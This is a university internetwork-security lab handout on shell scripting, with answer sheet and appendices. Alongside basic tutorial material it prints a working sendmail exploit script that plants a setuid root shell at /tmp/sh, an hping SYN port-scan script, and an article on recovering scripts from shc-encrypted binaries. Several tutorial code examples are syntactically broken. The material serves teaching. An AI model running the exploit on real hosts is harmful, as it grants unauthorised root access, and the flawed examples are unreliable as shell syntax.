Shell Scripting - ECE Users Pages

advertisement
ECE4112 Internetwork Security
Lab: Shell Scripting
Date Assigned:
Date Due:
Last Edited: 11/18/2006
Lab Authored By: Nathan Jacobson
Please read the entire lab and any extra materials carefully before starting. Be sure to start
early enough so that you will have time to complete the lab. Answer ALL questions in
the provided Answer Sheet and be sure you turn in to the TAs ALL materials listed in
the Turn-in Checklist on or before the Date Due.
Goal: This lab is designed to help you learn the basic aspects of shell scripting and
how to use scripts as supplements to existing tools.
Summary: This lab consists of two parts. In the first part, you will learn the
format a shell scripts and the basic operations. In the second part, you will look at
existing shell scripts and create your own.
Background: Shell scripting is a basic skill that is also the ultimate tool for
creating functionality when there are no existing tools. What this means is that scripting
can automate and combine basic unix programs to create a specific tool capable of almost
any desired effect. The uses for created tools with shell scripts is endless, from
automating tedious tasks and routine checking to testing exploits and performing attacks.
As with most computer security tools, shell scripting needs both knowledge of the
problem and a possible solution to effectively use.
Sources: Below is a list of source used to create this lab assignment.
1) http://www.hsrl.rutgers.edu/ug/shell_help.html
2) http://www.linuxsecurity.com/content/view/117920/49/
3) http://www.windowsecurity.com/whitepapers/Shell_Programming_an_Exploit
_Explained_2.html
4) http://www.hping.org/
Equipment: You will be writing shell scripts on the Redhat WS 4.0 Host
machine, although the scripts are compatible with most unix-based systems. There are
example scripts and tools used in this lab that are available on the NAS, from their
respective sites, or by searching google.
-1-
SECTION 1 source: 1
1.1 Creating a Script
A shell script is a simple text file that contains programming code to be interpreted by a
program. The first line of a shell script references the interpreter that will run the script.
For example, a common first line is:
#!/bin/sh
The format is “#!” followed by the full path to the interpreter, with additional parameters
afterwards that are optional. The execution begins with the interpreter, followed by the
arguments from the script’s first line, the full path to the script, and then the arguments
passed to the script. The script permissions need to be set so that it is executable, this can
be done by executing the command chmod a+x myscript.
Q1.1. If the first line of a script is “#!/bin/sh arg1” and the script is executed with the
command “/home/myscript arg2”, what is the equivalent command and arguments that
are passed to “/bin/sh”?
1.2 Input to a Script
There are a couple of ways to provide input to a script: from the command line using
arguments, from standard input using the keyboard, and from the contents of files.
1.2.1 Command Line Argument Input
Command line arguments are referenced inside the script using the variables $0, $1, $2,
… with $0 being the script and $1 being the first argument. There is also the variable $#
that contains the number of arguments, the value being 1 if there are no arguments
passed.
1.2.2 Standard Input
To read input from the keyboard inside a script there are a couple commands such read.
The example “read var” will take input from the keyboard until the ‘enter’ key is hit and
put the contents in the variable “$var”.
1.2.3 File Input
In addition to using the read command for input from the keyboard, it can also be used to
get lines from a text file. An example script that will output the contents of a file, line by
line:
while read myline
do
echo $myline
done < inputfile
-2-
1.3 Output from a Script
There are a couple of methods to send output from a script to standard output and
standard error as well as writing to files and returning exit codes.
1.3.1 Standard Output and Error
Standard output refers to the screen output that the user can see by default. Standard
error refers to output that is generally hidden from the user, but allows for error output to
be used for debugging purposes. There are three variables of use to a shell script that
deal with standard input - 0, output - 1, and error - 2. The command echo errors
found >&2 will send the message “errors found” to standard error. To send output to
both standard output and error at the same time, the command is 2>&1.
1.3.2 Exit Status
The exit status is the value returned by a program or script that is meant to indicate the
results of the execution. The common value for indicating a successful execution is 0,
issued by the command exit 0. Other values for the exit status mean that some error
occurred, different values referring to different problems. The exit status of a program
can be tested inside of a script by using the basic conditional construct to execute the
command, for example:
if [/home/myscript arg1]; then
echo Success
else
echo Failure
fi
1.4 Language Constructs
1.4.1 Comments
Comments are helpful to identify sections of code or provide information to users reading
the script. A comment in a shell script begins with a # character and continues to the end
of the line. Comments can be either an entire line or only the end of a line, with
executable code before it. An example of some comments is:
# this comments spans the entire line
echo “Hello”
# this comment is only half the line
1.4.2 Conditional
There are two primary conditional constructs in shell scripting, the if statement and the
switch statement. The if statement has the format if command; then command; else
command; fi. The else part of the statement is optional and the command following the if
statement is generally enclosed in square braces. The conditional command is generally a
comparison of variables and values, using some basic comparison operators such as:
[A –ne B] for testing if A is not equal to B
[A –ge B] for testing if A is greater than B
[A –le B] for testing if A is less than B
-3-
1.4.3 Variables
Assignment of variables is done by using the format variable=value, for example the
following code assigns the variable count the value three:
COUNT=3
To reference the value contained in a variable, use the dollar sign before the variable
name; the following code outputs the variable to the screen:
echo “$COUNT”
The scope of variables created in a script is limited to the original script. To allow other
scripts access to variables defined in other scripts, the export command changes the
variable scope. The following code exports the variable count:
export COUNT
The final aspect of referencing variables is conditional referencing. This allows a script
to reference a variable and fallback to a default value if the variable is not already
defined. The format is ${variable-othervalue} and this example shows how this works:
echo ${COUNT-3}
# This outputs 3
COUNT=4
echo ${COUNT-3}
# This outputs 4
1.4.4 Loops
There are a few constructs for providing loops in a shell script. Each method is slightly
different in how it operates, but each method can product the same effects. A for loop
takes a variable and increments it through the list of given values, performing the
contents of the loop on each increment. The following example will output the list of
numbers from one to nine, separated by commas:
for i in 1 2 3 4 5 6 7 8 9
do
echo “$i, “
done
The second type of loop is a while or until loop. A while loop continues execution as
long as the statement evaluates to true. The following example will output “3…2…1”
and exit:
COUNT=3
while [$COUNT –ge 0]; do
echo “$COUNT…”
COUNT=$COUNT-1
done
The until loop is very similar to the while loop, but instead continues execution as long as
the statement evaluates to false, ending when it is true. An example that produces the
same output:
COUNT=3
until [$COUNT –le 1]; do
echo “$COUNT…”
COUNT=$COUNT-1
done
-4-
1.4.5 Functions
Functions are useful for either repeated actions or for organizing code into easily readable
sections. A function operates almost like its own shell script, using $0, $1, $2… for the
function parameters and using return instead of exit to end execution. An example
function that computes the sum of the input variables:
function add() {
return ($0 + $1);
}
1.4.6 Redirection
There are three primary redirection commands that are important for shell scripting: <, >,
>>. cmd < infile directs the contents of infile as an argument to the command cmd.
cmd > outfile directs the output of cmd to the file outfile. cmd >> outfile
directs the output of cmd and appends it to outfile, preserving previous contents. There is
also a pipe command “cmd1 | cmd2” that will take the output from the first command and
use it as input for the next command, this chaining the programs together.
Q1.2. Using the command sort and the files “names”, containing a list of names in
random order, and “sorted_names”, containing the names in alphabetical order, what
command will take the names from the randomized-list and sort it into the sorted-list file.
1.5 Useful Tools
1.5.1 Grep
Grep is one of the most common unix tools, used for pattern matching and removing
unwanted information from a given file or program output. The basic format of the
command is: grep [pattern to match] [file to check]. This will select the lines from the
given file that match the pattern; the pattern can be either basic characters or a regular
expression.
1.5.2 Cut
Cut is used to select portions of a line. Cut breaks the line into separate elements based
on a delimiting character and returns only the chosen elements. This is useful for
selecting specific elements from a line, without knowing the exact position of the text in
the line.
1.5.3 Head and Tail
Head and Tail are very similar commands used to select the first or last characters or lines
from the given input. This is useful for seeing only the first or last lines of a given file, or
removing the trailing or leading characters. A common use of the tail program is to read
only the most recent lines in a log file.
-5-
1.5.4 Cat
Cat is a tool for reading a given file and output its contents to standard output. This is a
common tool for viewing file contents without using a text editor. Another use is for
sending the contents of a file as input to other functions such as the ones discussed above.
1.5.5 Miscellaneous
Most shell scripts can produce the same effects using a variety of the basic unix tools.
For example, using awk and the sub-string command has the same effect as using cut to
extract a specific portion of a string from the given input. Although this lab used only a
few of the common unix tools, there are many more available on typical installations of
unix. To understand and make use of these other tools it is helpful to either read the
manual pages, using the man command, or find user documentation online.
1.6 Tips and Tricks
There are many tricks that are used to create complex scripts with advanced functionality.
Some of the tricks involve debugging scripts to fix errors, special variables for enhanced
functionality, and executing other programs to combine functionality.
1.6.1 Debugging
There are a couple of easy methods that can help debug or examine a shell script. Using
the argument –x for the sh shell or using the command “set –x” inside the script causes
the line from the script to be echoed to standard output before execution. This allows the
user to see the commands along side the results for better debugging.
1.6.2 Special Variables
Here is a list of some of the special variables that are available to shell scripts:
$# - contains the number of arguments passed to script, including the script
$1…99 – contains the argument of that number
0 or &0 – refers to standard input, such as from a keyboard
1 or &1 – refers to standard output, used for regular script output
2 or &2 – refers to standard error, used for outputting error messages
1.6.3 Program Execution
There are two methods of running commands within a shell script. Both are slightly
different in how they work, but the use depends on the desired effect. Using the
command “sh /home/myscript” will create a new instance of the shell and execute the
script. The other method of executing commands is “. /home/myscript” and will run the
script inside the current shell, meaning that variables used in the original script will be
available to the secondary scripts.
Q1.3. Using the /etc/passwd file, what command will product a sorted list of usernames
that are using the sh shell?
-6-
SECTION 2
2.1 Shell Script Exploit source: 3
This shell script is a simple example of a malicious script and illustrates the need to
verify and understand a script before arbitrarily running it. This script creates a small c
program that exploits a sendmail smptd bug that results in a new shell with root
privileges. Below is a screenshot showing the contents of the shell script and the
execution that results in a shell with root access.
2.1.1 Shell Script Code
#!/bin/sh
echo 'main() '>>smtpdexploit.c
echo '{ '>>smtpdexploit.c
echo ' execl("/usr/sbin/sendmail","/tmp/smtpd",0);
'>>smtpdexploit.c
echo '} '>>smtpdexploit.c
-7-
echo
echo
echo
echo
'main() '>>smtpd.c
'{ '>>smtpd.c
' setuid(0); setgid(0); '>>smtpd.c
' system("cp /bin/sh /tmp;chmod a=rsx /tmp/sh");
'>>smtpd.c
echo '} '>>smtpd.c
cc -o smtpdexploit smtpdexploit.c
cc -o /tmp/smtpd smtpd.c
./smtpdexploit
kill -HUP `ps -ax|grep /tmp/smtpd|grep -v grep|tr -d '
'|tr -cs "[:digit:]"
"\n"|head -n 1`
rm smtpdexploit.c smtpdexploit smtpd.c /tmp/smtpd
echo "Now type: /tmp/sh"
Q2.1. Explain the basic operations of this line kill -HUP `ps ax|grep
/tmp/smtpd|grep -v grep|tr -d ' '|tr -cs "[:digit:]".
2.2 Encrypting Shell Scripts source: 2
There are times that a shell script requires placing passwords or other sensitive data as
plain-text inside the file. Examples of this would be scripts that automate authenticating
with passwords or any scripts that require hiding of the inner workings. The basic
method of protecting the contents of a script involve encrypting it. The best method of
encrypting a shell script that maintains portability so that it does not require extra
programs is to convert it into a binary program. There are methods other than the
following to create binary executables out of shell scripts, but this method is simple and
works well. The program shc creates a c source file from a shell script and then uses
RC4 encryption to create a binary executable.
To install SHC, download the file shc-3.8.6.tgz from the NAS or
http://www.datsi.fi.upm.es/~frosal/sources/shc.html to your Linux WS 4.0 host machine.
Uncompress the file and move into the new directory. In this directory is the SHC
program, documentation, and sample scripts. Read the shc.README file for more
information.
Q2.2. How would an attacker steal passwords that are arguments passed to currently
running programs?
Use this program to encrypt the above shell script (smtpscript.sh) and examine the
resulting source file (smtpscript.sh.x.c) and test running the binary file (smtpscript.sh.x).
-8-
ScreenShot #1 The contents of the source file (smtpscript.sh.x.c) and the execution of the
binary file (smtpscript.sh.x).
Q2.3. Why is shc vulnerable to being decrypted, even without access to the original script
or source file? (hint: where is the encryption key stored?)
Although encrypting the shell script is a good security measure against the casual user, a
motivated attacker can possibly reverse engineer the original script with a little work.
The easiest method to produce the original shell script is using the c source file and
reversing the RC4 encryption algorithm. It is also possible to produce the original script
using only the encrypted binary, but requires more effort and time. For more information
on breaking shc read the article here: http://www.linuxjournal.com/article/8256 (See
Appendix C)
2.3 Scripts and Programs source: 4
To demonstrate the advanced functionality of shell scripting, the following question
involves using a packet creation tool to perform a basic port scan of a target host. The
packet creation tool is hping, a command-line tool that can create raw IP packets with a
specified header and payload. This tool will perform the actual port scan, sending TCP
SYN packets to the target, receiving a SYN-ACK packet from open ports and a RESETACK packet from closed ports. To automate the scan of all ports from 1 to 65535, a
simple conditional loop will suffice incrementing the port after each sent packet or the
hping command has a built-in argument for doing this.
To install hping, download the file hping2.0.0-rc3.tar.gz from the NAS or
http://www.hping.org/ to your tools directory on the Linux WS 4.0 host. Uncompress the
file and move into the new directory. Compile and install the program by typing:
./configure, then make, and then make install.
After figuring out how to automate the SYN scan of the target, the next step is to take the
output and compile a list of open ports. The basic method of determining the status of a
port is to examine the response packet, looking for “flags=SA” to indicate an open port.
Use all of this information to output a simple listing of the open ports for the target to a
text file, putting each port number on its own line. Take a screenshot of the contents of
the file from your script and a screenshot of a SYN-scan using nmap, comparing the
results.
ScreenShot #2 The file showing open ports on host.
ScreenShot #3 The output of a nmap port scan against the same host.
-9-
Section 3
3.2 Defenses
Although shell scripting is not itself a dangerous vulnerability or exploit, it can be used as
a medium to distribute and execute malicious code. Some of the basic defenses against
an attacker trying to use shell scripts against a host are typical security restrictions that
should be in effect regardless of the possibility of an attack. For example, basic
restrictions should be in place to prevent access to restricted files such as configuration
settings, password files, and executables that are possibly dangerous. This means that
user permissions and sensitive-file permissions need to be set correctly to prevent
unauthorized access; access to programs such as gcc are dangerous as it can be used to
compile malicious programs.
3.1 Suggested Additions
This lab covers that basics of shell scripting as well as a few examples of more powerful
scripts that can hide information and carry out attacks. Although the information in this
lab is sufficient in gaining an understanding of shell scripts, there are possible additions
to this lab that could further increase the skills and knowledge of the student. Some
examples of such additions include:
- Securing user and file permissions to prevent malicious activity
- Using a shell script to test an exploit to find the offset values
- Creating ARPWatch using the arp-command and a shell script in a loop
- More advanced network scanning techniques using hping-command
- 10 -
ECE4112 Internetwork Security
Lab: Shell Scripting
Group Number: _________
Member Names: ___________________
_______________________
Answer Sheet
Section 1
Q1.1. If the first line of a script is “#!/bin/sh arg1” and the script is executed with the
command “/home/myscript arg2”, what is the equivalent command and arguments that
are passed to “/bin/sh”?
“/bin/sh arg1 /home/script arg2”
Q1.2. Using the command “sort” and the files “names”, containing a list of names in
random order, and “sorted_names”, containing the names in alphabetical order, what
command will take the names from the randomized-list and sort it into the sorted-list file.
sort < names > sorted_names
OR
cat names|sort>sorted_names
Q1.3. Using the /etc/passwd file, what command will product a sorted list of usernames
that are using the sh shell?
cat /etc/passwd|grep /sh|cut –d : -f 1|sort
OR
grep /sh</etc/passwd|cut –d : -f 1|sort
Section 2
Q2.1. Explain the basic operations of this line kill -HUP `ps ax|grep
/tmp/smtpd|grep -v grep|tr -d ' '|tr -cs "[:digit:]".
This command extracts the process identifier (PID) for the binary file /tmp/smtpd
and kills the process, allowing the new shell to start with root privileges.
“kill –HUP” tries to restart the specified process given the PID
“ps ax” lists all processes on the host
“grep /tmp/smtpd” returns the line from the process list for the exploit
“grep –v grep” removes any lines that contain word grep
“tr –d ‘ ‘” removes all spaces from the selected lines
“tr –cs ‘[:digits:]’” removes characters, leaving digits
Q2.2. How would an attacker steal passwords that are arguments passed to currently
running programs?
“ps –ef” shows the arguments used to execute running processes
- 11 -
Q2.3. Why is shc vulnerable to being decrypted, even without access to the original script
or source file? (hint: where is the encryption key stored?)
The encryption key is stored in the binary file and can be seen in the data section
of the disassembled code.
ScreenShot #1 The contents of the source file (smtpscript.sh.x.c) and the execution of the
binary file (smtpscript.sh.x).
- 12 -
ScreenShot #2 The file showing open ports on host.
and
ScreenShot #3 The output of a nmap port scan against the same host.
- 13 -
General Questions
Q3.1. How long did it take you to complete this lab?
Q3.2. What corrections and/or improvements do you suggest for this lab? Please be very
specific and if you add new material give the exact wording and instructions you would
give to future students in the new lab handout. You may cross out and edit the text of the
lab on previous pages to make minor corrections/suggestions. General suggestions like
add tool xyz to do more capable scanning will not be awarded extras points even if the
statement is totally true. Specific text that could be cut and pasted into this lab, completed
exercises, and completed solutions may be awarded additional credit. Thus if tool xyz
adds a capability or additional or better learning experience for future students here is
what you need to do. You should add that tool to the lab by writing new detailed lab
instructions on where to get the tool, how to install it, how to run it, what exactly to do
with it in our lab, example outputs, etc. You must prove with what you turn in that you
actually did the lab improvement yourself. Screen shots and output hardcopy are a good
way to demonstrate that you actually completed your suggested enhancements. The lab
addition section must start with the form “laboratory Additions Cover Sheet” which may
be found on the class web site and is repeated here for the first lab:
Turn-in Checklist
1- Answer Sheet with answers.
2- Three Screenshots.
- 14 -
Appendix A: SMTPd Exploit Script
#!/bin/sh
echo 'main() '>>smtpdexploit.c
echo '{ '>>smtpdexploit.c
echo ' execl("/usr/sbin/sendmail","/tmp/smtpd",0);'>>smtpdexploit.c
echo '} '>>smtpdexploit.c
echo 'main() '>>smtpd.c
echo '{ '>>smtpd.c
echo ' setuid(0); setgid(0); '>>smtpd.c
echo ' system("cp /bin/sh /tmp;chmod a=rsx /tmp/sh"); '>>smtpd.c
echo '} '>>smtpd.c
cc -o smtpdexploit smtpdexploit.c
cc -o /tmp/smtpd smtpd.c
./smtpdexploit
kill -HUP `ps ax|grep /tmp/smtpd|grep -v grep|tr -d ' '|tr -cs "[:digit:]" "\n"|head -n 1`
rm smtpdexploit.c smtpdexploit smtpd.c /tmp/smtpd
echo "Now type: /tmp/sh"
Appendix B: Port Scan Script
#!/bin/sh
echo "Scanning Target $1 starting from port $2 for count $3:"
hping --fast -I eth0 -S $1 -p ++$2 -c $3|grep SA|cut -d ' ' -f 6|cut -d '=' -f 2
>open_ports.txt
- 15 -
Appendix C: Limitations of SHC
Paranoid Penguin - Limitations of shc, a Shell Encryption Utility
By Nalneesh Gaur on Fri, 2005-08-26 01:00.
The shell script compiler, shc, obfuscates shell scripts with encryption-but the password
is in the encrypted file. Could an intruder recover the original script using objdump?
shc is a popular tool for protecting shell scripts that contain sensitive information such as
passwords. Its popularity was driven partly by auditors' concern over passwords in
scripts. shc encrypts shell scripts using RC4, makes an executable binary out of the shell
script and runs it as a normal shell script. Although the resulting binary contains the
encryption password and the encrypted shell script, it is hidden from casual view.
At first, I was intrigued by the shc utility and considered it as a valuable tool in
maintaining security of sensitive shell scripts. However, upon further inspection, I was
able to extract the original shell script from the shc-generated executable for version 3.7.
Because the encryption key is stored in the binary executable, it is possible for anyone
with read access to the executable to recover the original shell script. This article details
the process of extracting the original shell executable from the binary generated by shc.
shc Overview
shc is a generic shell script compiler. Fundamentally, shc takes as its input a shell script,
converts it to a C program and runs the compiler to compile the C code. The C program
contains the original script encrypted by an arbitrary key using RC4 encryption. RC4 is a
stream cipher designed in RSA laboratories by Ron Rivest in 1987. This cipher is used
widely in commercial applications, including Oracle SQL and SSL. Listing 1
demonstrates running shc.
Listing 1. Running shc
[user1@shiraz test]# cat pub.sh
#!/bin/sh
echo "Hello World"
user1@shiraz test]# ./pub.sh
Hello World
[user1@shiraz test]# shc -v -r -f pub.sh
shc shll=sh
shc [-i]=-c
shc [-x]=exec '%s' "$@"
shc [-l]=
shc opts=
- 16 -
shc: cc pub.sh.x.c -o pub.sh.x
shc: strip pub.sh.x
[user1@shiraz test]# ls
pub.sh pub.sh.x pub.sh.x.c
[user1@shiraz test]# ./pub.sh.x
Hello World
The two new files, named with the .x and .x.c extensions to the name of the source shell
script, are the executable and an intermediate C version. Upon executing pub.sh.x, the
original shell source is executed. shc also specifies a relax option, -r. The relax option is
used to make the executable portable. Basically, shc uses the contents of the shell
interpreter itself, such as /bin/sh, as a key. If the shell binary were to change, for example,
due to system patching or by moving the binary to another system, the shc generated
binary does not decrypt nor execute.
I inspected the shell executable using strings and found no evidence of the original shell
script. I also inspected the intermediate C source code and noted that it stores the shell
script in encrypted octal characters, as depicted in Listing 2.
Listing 2. The original shell script becomes an RC4-encrypted string in the C
version.
static char text[] =
"\223\004\215\264\102\216\322\060\300\070\101\217\277\161\033\130"
"\217\145\370\170\106\257\176\301\057\132\172\044\217\247\276\222"
"\203\076\334\201\323\107\064\334\120\132\001\241\267\052\203\216"
"\116\232\156\337\121\145\235\003\156\244\142\246\117\200\206\014"
"\004\153\372\152\030\262\171\275\137\342\247\367\231\315\353\151"
"\264\241\230\105\344\053\034\247\342\142\156\305\327\255\036\111"
"\234\061\013\355\300\336\324\257\175\124\222\044\132\040\276\067"
"\007\002\371\063\021\320\060";
The C source code also includes as arrays the password as well as other encrypted strings.
Therefore, anyone with access to the source code easily can decrypt and view the
contents of the original shell script. But what about the original shell binary executable
generated by shc? Is it possible to extract the original shell script from nothing but the
binary executable? The answer to this question is explored in the next section.
Extraction Approach
I generated and reviewed the C source code for several shell scripts to better understand
how the shell source is encrypted and decrypted. Fundamentally, shc uses an
- 17 -
implementation of RC4 that was posted to a Usenet newsgroup on September 13, 1994. I
set off by first identifying the encryption key and the encryption text. The objdump utility
came in handy for this. bjdump, part of GNU binutils, displays information about object
files. First, we use objdump to retrieve all static variables, for this is where the encryption
key and the encrypted shell text are stored. Listing 3 provides a brief overview of
objdump.
Listing 3. objdump browses the object file for interesting-looking strings.
/usr/bin/objdump --section=.data -s pub.sh.x
pub.sh.x: file format elf32-i386
Contents of section .data:
804a4e0 00000000 00000000 3ca80408 00000000 ........<.......
804a4f0 00000000 00000000 00000000 00000000 ................
804a500 00000000 506c6561 73652063 6f6e7461 ....Please conta
804a510 63742079 6f757220 70726f76 69646572 ct your provider
804a520 00000000 01000000 00000000 00000000 ................
804a530 00000000 00000000 00000000 00000000 ................
804a540 e554f49f 93dcd6dc bb0bdc9b ad60edd0 .T...........`..
804a550 7a9beb67 60277cb2 dd9e0886 0797aeec z..g`'|.........
804a560 eba28b7e 7e615a3a 6d37d51a 97c2ea11 ...~~aZ:m7......
...
The first column of the output in listing 3 specifies the starting addresses in hexadecimal,
followed by the stored data in the next four columns. The last column represents the
stored data in printable characters. So somewhere in the first four columns of the output
is the array of characters that form the encryption key (password) and the encrypted shell
script. Comparing the original C source code and Listing 3, you can see that the password
most likely begins at address 0x804a540. After comparing other executables, I
determined that the first address after the zeroes leading the "Please contact your
provider" text usually is the starting address. To retrieve these arrays, such as the one
depicted in Listing 2, we also need to look at the disassembled code. We use objdump
again here, except this time with the -d option, for disassemble, as shown in Listing 4.
Listing 4. The output of objdump -d pub.sh.x shows information needed to find the
encrypted script. Lines in parentheses were added.
8048e52: 68 28 01 00 00 push $0x128
(Length of encryption key)
8048e57: 68 40 a5 04 08 push $0x804a540
(Key address)
8048e5c: e8 17 fb ff ff call 0x8048978
- 18 -
8048e61: 83 c4 10
8048e64: 83 ec 08
8048e67: 6a 08
add $0x10,%esp
sub $0x8,%esp
push $0x8
(Length of shll)
8048e69: 68 72 a6 04 08 push $0x804a672
(shll address)
8048e6e: e8 a0 fb ff ff call 0x8048a13
8048e73: 83 c4 10
add $0x10,%esp
8048e76: 83 ec 08
sub $0x8,%esp
8048e79: 6a 03
push $0x3
(length of inlo)
8048e7b: 68 8a a6 04 08 push $0x
8048e80: e8 8e fb ff ff call 0x8048a13
The last two columns represent assembly instructions. The movl instruction is used to
move data-movl Source, Dest. The Source and Dest are prefixed with $ when referencing
a C constant. The push takes a single operand, the data source, and stores it at the top of
stack.
Now that we have the basics of objdump, we can proceed to extract the encryption
password and eventually the shell code.
In the intermediate C code produced by shc, about nine arrays are referenced by the
variables pswd, shll, inlo, xecc, lsto, chk1, opts, txt and chk2. The pswd variable stores
the encryption key, and the txt variable stores the encrypted shell text. shc hides the
useful information as smaller arrays within these variables. Thus, obtaining the actual
array involves two steps. First, identify the length of the array. Second, identify the
starting address of the array.
The objdump output needs to be looked at in detail to obtain the actual array length and
the starting address. My first hint here is to look for all addresses that are within the data
section (Listing 2) of the disassembled object code. Next, seek out all the push and mov
commands in Listing 4. Addresses will be different for different scripts, but when you
encrypt a few scripts and read the resulting C code, the patterns become familiar.
The 804a540 address seems to correspond to the pswd variable, the encryption key. The
length of the useful portion of the encryption key is represented by 0x128, or 296 in
decimal form. Similarly, the next variables, shll and inlo, have useful lengths of 0x8 and
0x3 and starting addresses of 804a672 and 804a68a, respectively. This way, we are able
to obtain the starting addresses and lengths of all nine variables. Next, we need to be able
- 19 -
to decrypt the original shell script using only the binary as input.
In shc, before the shell script itself is encrypted, many other pieces of information are
encrypted. Furthermore, the RC4 implementation maintains state between encrypting and
decrypting each individual piece of information. This means that the order in which shc
encrypts and decrypts information must be maintained. Failure to do so results in illegible
text. To extract the original shell script, we need to perform several decryptions. For this
step, I wrote a small program called deshc, using the existing code from one of the
intermediate C files. The program reads two files as its input, the binary executable and
an input file that specifies the array lengths and addresses. deshc executes the following
four steps:
Reads binary executable.
Extracts data section from the disassembled output.
Retrieves individual arrays based on input file.
Decrypts individual arrays in order, so that the RC4 state is maintained.
Based on the objdump output, I have arrived at the following array lengths and addresses
for the pub.sh.x executable:
pswd 0x128 0x804a540
shll 0x8
0x804a672
inlo 0x3
0x804a68a
xecc 0xf
0x804a68e
lsto 0x1
0x804a6a4
chk1 0xf
0x804a6a6
opts 0x1
0x804a6be
txt 0x76
0x804a6e0
All of these parameters are used in an input file to deshc, which then decrypts and prints
the original shell script.
Conclusion
An approach to extract the shell source code successfully from shc version 3.7 generated
binary executable was demonstrated. The pub.sh script was used for illustrative purposes
only. I have indeed tested the deshc program on executables that I did not create and
without access to the source code or the original shell script.
Francisco García, the author of shc, recently released version 3.8. It uses somewhat
different data structures and improves upon the security of the previous version.
Nevertheless, I believe that embedding the encryption password within the binary
executable is dangerous and prone to extraction as discussed in this article.
Nalneesh Gaur, CISSP, ISAAP, works at Diamond Cluster International as a BS7799 Lead Auditor.
Published here: http://www.linuxjournal.com/article/8256
- 20 -
Names: _________________________
Group Number ______
Laboratory Additions Cover Sheet:
Addition Title: ___________________________________________
(Include this cover page on every laboratory addition you submit.)
What new concept may be learned by adding this to the existing laboratory assignment? (Or what existing
concept is better learned with this addition as opposed to what is in the existing lab assignment):
1) What are the specific vulnerabilities this concept exploits and what are the defenses one can use
against the vulnerabilities?
Completion checklist:
 Did you email an electronic copy of your laboratory addition to Henry within 24 hours after the
class (and name the attachment Grx_Laby_Add.doc)? ________
 Did you prepare a 5 minute in class presentation (which includes enough theory and results to
educate your classmates on what you did and how you did it and discuss defenses) and email that
to Henry within 24 hours after the class (and name the attachment Grx_Laby_Add.ppt)? _______
 Did you include proof that you got this working in our laboratory with our equipment? (Screen
shots, output, etc)? ____________
 Did you include references and attributes for all materials that you used? __________
 Did you write your addition so that it does not require editing to cut and paste into the lab? ____
 In adding your new concepts/exercises did you include detailed lab instructions on where to get
any software you may need, how to install it, how to run it, what exactly to do with it in our lab,
example outputs proving that you got the enhancement to work in our lab? ___________
 Did you include any theory/background and or fundamentals of the ideas and concepts behind this
addition? _____________
- 21 -
Download